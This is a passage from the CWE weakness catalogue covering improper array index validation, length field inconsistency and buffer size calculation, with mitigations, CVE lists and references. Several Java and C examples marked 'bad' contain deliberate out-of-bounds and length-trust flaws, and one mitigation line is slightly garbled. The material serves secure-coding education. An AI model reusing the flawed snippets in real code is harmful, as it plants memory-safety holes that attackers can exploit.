CERT C Secure Coding	MEM07-C		Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t
Software Fault Patterns	SFP1		Glitch in computation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
92	Forced Integer Overflow

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-129: Improper Validation of Array Index

Weakness ID : 129 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1285	Improper Validation of Specified Index, Position, or Offset in Input	1839
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanPrecede	V	789	Uncontrolled Memory Allocation	1474
CanPrecede	B	823	Use of Out-of-range Pointer Offset	1518

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015

Weakness Ordinalities

Resultant : The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

out-of-bounds array index :

index-out-of-range :

array index underflow :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	DoS: Crash, Exit, or Restart *Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.*	
Integrity	Modify Memory *If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.*	
Confidentiality Integrity	Modify Memory Read Memory *Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.*	
Integrity Availability Confidentiality	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Read Memory Modify Memory *A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Black Box

Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

In the code snippet below, an untrusted integer value is used to reference an object in an array.

Example Language: Java *(bad)*

```
public String getValue(int index) {
    return array[index];
}
```

If index is outside of the range of the array, this may result in an ArrayIndexOutOfBounds Exception being raised.

Example 2:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

Example Language: Java *(bad)*

```
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C *(bad)*

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value

to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C *(good)*

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...
```

Example 4:

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

Example Language: C *(bad)*

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2)
            sizes[num - 1] = size;
    }
        ...
}
```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: C *(good)*

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            if (num > 0 && num <= (unsigned)count)
                sizes[num - 1] = size;
```

```
            else
                /* warn about possible attempt to induce buffer overflow */
                report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
        }
    }
        ...
}
```

Example 5:

In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

Example Language: Java *(bad)*

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}
```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: Java *(good)*

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
    else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}
```

An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

Example Language: Java *(good)*

```
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

Example 6:

The following example asks a user for an offset into an array to select an item.

Example Language: C *(bad)*

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Observed Examples

Reference	Description
CVE-2005-0369	large ID in packet used as array index *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0369*
CVE-2001-1009	negative array index as argument to POP LIST command *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1009*
CVE-2003-0721	Integer signedness error leads to negative array index *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0721*
CVE-2004-1189	product does not properly track a count and a maximum number, which can lead to resultant array index overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1189*
CVE-2007-5756	Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5756*
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2456*

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	1884
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1915

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997

Notes

Relationship

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

Theoretical

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unchecked array indexing
PLOVER			INDEX - Array index overflow
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR30-C	CWE More Specific	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C		Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element
CERT C Secure Coding	INT32-C		Ensure that operations on signed integers do not result in overflow
SEI CERT Perl Coding Standard	IDS32-PL	Imprecise	Validate any integer that is used as an array index
OMG ASCSM	ASCSM-CWE-129		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
100	Overflow Buffers

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-96]Jason Lam. "Top 25 Series - Rank 14 - Improper Validation of Array Index". 2010 March 2. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/12/top-25-series-rank-14-improper-validation-of-array-index/ >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx >.

[REF-60]"PaX". < http://en.wikipedia.org/wiki/PaX >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-130: Improper Handling of Length Parameter Inconsistency

Weakness ID : 130 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.

Extended Description

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	240	Improper Handling of Inconsistent Structural Elements	533
CanPrecede	B	805	Buffer Access with Incorrect Length Value	1497

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

length manipulation :

length tampering :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Integrity	Modify Memory	
	Varies by Context	

Potential Mitigations

Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

Phase: Implementation

Do not let the user control the size of the buffer.

Phase: Implementation

Validate that the length of the user-supplied data is consistent with the buffer size.

Demonstrative Examples

Example 1:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(bad)*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibliity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

Reference	Description
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160*
CVE-2009-2299	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2299*
CVE-2001-0825	Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0825*
CVE-2001-1186	Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1186*
CVE-2001-0191	Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0191*
CVE-2003-0429	Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0429*
CVE-2000-0655	Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0655*
CVE-2004-0492	Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0492*
CVE-2004-0201	Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a .CHM file with a large length field *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0201*
CVE-2003-0825	Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0825*
CVE-2004-0095	Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0095*
CVE-2004-0826	Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0826*
CVE-2004-0808	When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0808*
CVE-2002-1357	Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1357
CVE-2004-0774	Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0774*
CVE-2004-0989	Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0989*
CVE-2004-0568	Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0568*
CVE-2003-0327	Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0327*
CVE-2003-0345	Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0345*
CVE-2004-0430	Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0430*
CVE-2005-0064	PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0064*
CVE-2004-0413	SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0413*
CVE-2004-0940	Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0940*
CVE-2002-1235	Length field of a request not verified. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1235*
CVE-2005-3184	Buffer overflow by modifying a length value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3184*
SECUNIA:18747	Length field inconsistency crashes cell phone. *http://secunia.com/advisories/18747/*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

This probably overlaps other categories including zero-length issues.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Length Parameter Inconsistency

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
47	Buffer Overflow via Parameter Expansion

CWE-131: Incorrect Calculation of Buffer Size

Weakness ID : 131 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326
CanFollow	V	467	Use of sizeof() on a Pointer Type	989
CanPrecede	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Availability	Execute Unauthorized Code or Commands	
Confidentiality	Read Memory	
	Modify Memory	

Scope	Impact	Likelihood
	If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source Code Quality Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.

Phase: Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Phase: Implementation

Strategy = Input Validation

